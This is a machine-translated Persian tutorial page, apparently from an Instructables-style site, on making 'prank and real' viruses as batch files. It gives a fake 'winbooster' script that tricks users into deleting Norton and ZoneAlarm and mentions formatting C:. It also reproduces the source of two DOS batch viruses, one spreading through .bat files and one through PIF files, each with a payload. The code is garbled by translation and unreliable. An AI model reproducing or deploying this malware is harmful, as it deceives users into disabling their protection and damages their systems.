ترفندهای دسته ای و ویروس: 3 مرحله

2024 نویسنده: John Day | [email protected]. آخرین اصلاح شده: 2024-01-30 08:58

نحوه ایجاد ویروس های Prank و Real در BATCH توجه: من مسئول هیچ گونه خسارتی نیستم که به رایانه دیگران وارد می کنید.

مرحله 1: ویروس های واقعی (ساده)

اولین مورد: کد را کپی کنید **************************************** **************@echo خوش آمدید به winbooster توسط ELECTROfun@echo اگر می خواهید رایانه خود را سریعتر کنید ، باید مراحل زیر را انجام دهید@مکث cd / c: dir dir c: / progra ~ 1 / norton ~ 1echo اکنون باید y را تایپ کرده و enterpause del c: / progra ~ 1 / norton ~ 1pause c: dirpausedir c: / progra ~ 1 dir c را فشار دهید: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarmecho خوب حالا کامپیوتر شما "واقعاً" است! سریع: خروج ******************************************** *توجه: هرچیزی که می خواهید فایل را ذخیره کنید.bat توجه: هر چیزی که بعد از 02FORMAT C: ***************

مرحله 2: ویروسهای واقعی (پیشرفته)

1. قوی ترین ******************@اگر نه '٪ 0 ==' اگر '٪ _melt٪ ==' goto meltbeg:: ---- ساختگی میزبان --------@echo officcho سلام جهان!:: ---- پایان میزبان ساختگی ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off٪ _MeLT٪ if '٪ 1 ==' MeLT goto MeLT٪ 2 مگر وجود ندارد٪ comspec٪ set comspec =٪ _ MeLT٪ command٪ comspec٪ /e: 5000 /c٪ 0 MeLT virset MeLTcl =٪ 1٪ 2٪ 3٪ 4٪ 5٪ 6٪ 7٪ 8٪ 9call٪ 0 MeLT rhset _MeLT = تنظیم MeLTcl = goto MeLTend: MeLTrhset _MeLT = x٪ 0٪ MeLTcl٪: MeLTvirset MeLTH =٪ 0 در صورت عدم وجود٪ _MeLT ٪٪ temp٪ / nul temp =٪ tmp٪ در صورت وجود٪ temp٪ / MeLT_2a goto MeLTrun٪ 0 MeLT fnd. ٪ path٪: MeLTfndshift٪ _MeLT٪ '٪ 2 ==' خروج MeLTset MeLT =٪ 2 \٪ MeLTH٪.batif وجود ندارد٪ MeLT٪ تنظیم MeLT =٪ 2 \٪ MeLTH٪ در صورت عدم وجود٪ MeLT٪ تنظیم MeLT = ٪ 2٪ MeLTH٪.batif موجود نیست٪ MeLT٪ تنظیم MeLT =٪ 2٪ MeLTH٪ در صورت عدم وجود٪ MeLT٪ goto MeLTfndfnd "MeLT"٪ temp٪ / MeLT_2aattrib٪ temp٪ / MeLT_2a +h: MeLTrun٪ MeLTH٪ MeLT s به..٪ path٪: MeLTsshift٪ _MeLT٪ '٪ 2 ==' MeLTfor ٪٪ a in (٪ 2 \*. bat٪ 2*.bat)٪ MeLTH٪ MeLT inf ٪٪ agoto MeLTs تماس بگیرید: i "MeLT" nulif not errorlevel 1 goto MeLTnoecho @if '٪٪ 0 ==' if '٪٪ _ melt ٪٪ ==' goto meltbeg> MeLT.ttype٪ 3 >> MeLT.techo. >> MeLT.ttype٪ temp٪ / MeLT_2a >> MeLT.tm MeLT.t٪ 3> nulexit MeLT: MeLTact - نوشتن صفحه فلش -ذوب و سپس بازگشت به normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =٪ MeLTC٪ 1if٪ MeLTC٪ == 1111111111 goto MeLTact: MeLTend ********************************* ******** 2. این ویروسی است که فایل های PIF را "آلوده" می کند و توسط Windows برای اجرای برنامه های DOS استفاده می شود. این کار با ایجاد دسته های پنهان همراه حاوی کپی از این و سپس تغییر فایل PIF به گونه ای عمل می کند که دسته همراه ابتدا اجرا شود. پس از اجرای همراه ، برنامه اصلی میزبان را اجرا می کند ، که نام آن در همراه کد می شود. فایلهای pif علامت گذاری شده اند تا دوباره آلوده نشوند. فقط PIF تحت تأثیر قرار می گیرد ، هیچ تغییری در برنامه های آلوده ایجاد نمی شود. برای "درمان" ، از PIFEDIT برای بازگرداندن نام فایلهای اصلی و سپس حذف فایلهای پنهان استفاده کنید. ****************************** ****************@echo off:: نام فایل میزبان… تنظیم pifvo = LIST. COM:: توزیع کننده حلقه… اگر '٪ 1 ==' PiFV به PiFV_٪ 2:: اجرا شود virus! set _PiFV = در صورت عدم وجود٪ comspec٪ set comspec = C: / COMMAND. COM٪ _PiFV ٪٪ comspec٪ /e: 5000 /c٪ 0 PiFV برو> nulif وجود دارد PiFV! del PiFV!:: اجرای میزبان PiFVcl =٪ 1٪ 2٪ 3٪ 4٪ 5٪ 6٪ 7٪ 8٪ 9٪ فراخوانی٪ 0 PiFV hstset PiFVo = تنظیم PiFVcl =:: بررسی فعال سازی… echo. | تاریخ | پیدا کردن / i "sat"> nul. PiFVif سطح خطای 1 به PiFV_endecho رسید. | زمان | پیدا کردن "7"> nul. PiFVif سطح خطا 1 به PiFV_msgset PiFV = echocls٪ _PiFV ٪٪ PiFV٪.٪ PiFV٪ زمانی یک سمور به نام Oscer٪ PiFV وجود داشت ٪ چه کسی ادعا می کند که چگونه می تواند آب درست کند. PiFV_msgecho [PiFV] توسط WaveFuncgoto PiFV_end: PiFV_hst٪ PiFVo٪٪ PiFVcl٪ gotO PiFV_end: PiFV_goset PiFVh =٪ 0ifist وجود ندارد٪ PiFVh٪ تنظیم PiFVh =٪ 0.batif وجود ندارد٪ PiFVh٪ خروجی*٪ ٪ 0 PiFV inf ٪٪ aexit PiFV: PiFV_infset PiFVp =٪ 3:: دریافت نام فایل قربانی و نشانگر عفونت:: از فایل PIF با استفاده از اشکال زدایی … در صورت وجود PiFV! goto PiFV_1echo m 124، 162 524> PiFV! echo e 100 'set fn =' >> PiFV! echo m 524، 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! echo w >> PiFV! echo m 55E، 561 108 >> PiFV! echo e 10C 0 >> PiFV! echo n pifv $ $. bat >> PiFV! echo rcx >> PiFV! echo 10 >> PiFV! پژواک:: pifvi = نشانگر عفونت:: pifvp = pif filename:: pifvh = فایل bat همراه:: جستجوی pifs آلوده یا "خالی" … اگر '٪ PiFVi٪ ==' PiFV goto PiFV_endif '٪ PiFVn٪ ==' goto PiFV_end:: سایه نزن com.com (خوب باش) echo٪ PiFVn٪ | find /i "command"> nulif not errorlevel 1 goto PiFV_end:: infectable - یک دسته همراه ایجاد کنید …:: (کد زیر افزونه را حذف می کند) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho٪ PiFVn٪ | PiFV $> PiFV $ $. batcall PiFV $$ set PiFVb =٪ fn٪.batdel PiFV $؟.*:: pifvb = نام دسته جدید:: اگر comp دارای همان باشد سایه نزنید نام بعنوان hostif٪ PiFVo٪ ==٪ PiFVb٪ goto PiFV_endif وجود دارد٪ PiFVb٪ goto PiFV_endechoecho off>٪ PiFVb٪ echo set pifvo =٪ pifvn٪ >>٪ PiFVb٪ "PiFV">٪ PiFVb٪ نسبت٪ PiFVb٪ +h::… و PIF را در companionecho e 15E 'PiFV' ، 0> PiFV $$ echo e 124 '٪ PiFVb٪' ، 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ اشکال زدایی٪ PiFVp٪ nuldel PiFV $$:: من فکر می کنم کار ما تمام شده است! خروج از PiFV: PiFV_end:: تعجب کنید که این همه چند اشکال دارد؟ فقط یک:: راه برای پیدا کردن… ************************************** **********

مرحله 3: شوخی با ویروس و یک ترفند

1. ویروس شکر sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo@echo@echo *********************** توجه: "رنگ 02" این است که متن را سبز کنید. 2 ترفند (کد ماتریس) ****** *************************@echo offcolor 02: startecho٪ random٪٪ random٪٪ random٪٪ random٪٪ random٪٪ random٪ ٪ تصادفی٪ تصادفی٪٪ تصادفی٪٪ تصادفی٪٪ تصادفی٪٪ تصادفی٪٪ تصادفی٪٪ تصادفی٪ شروع ************************ ******************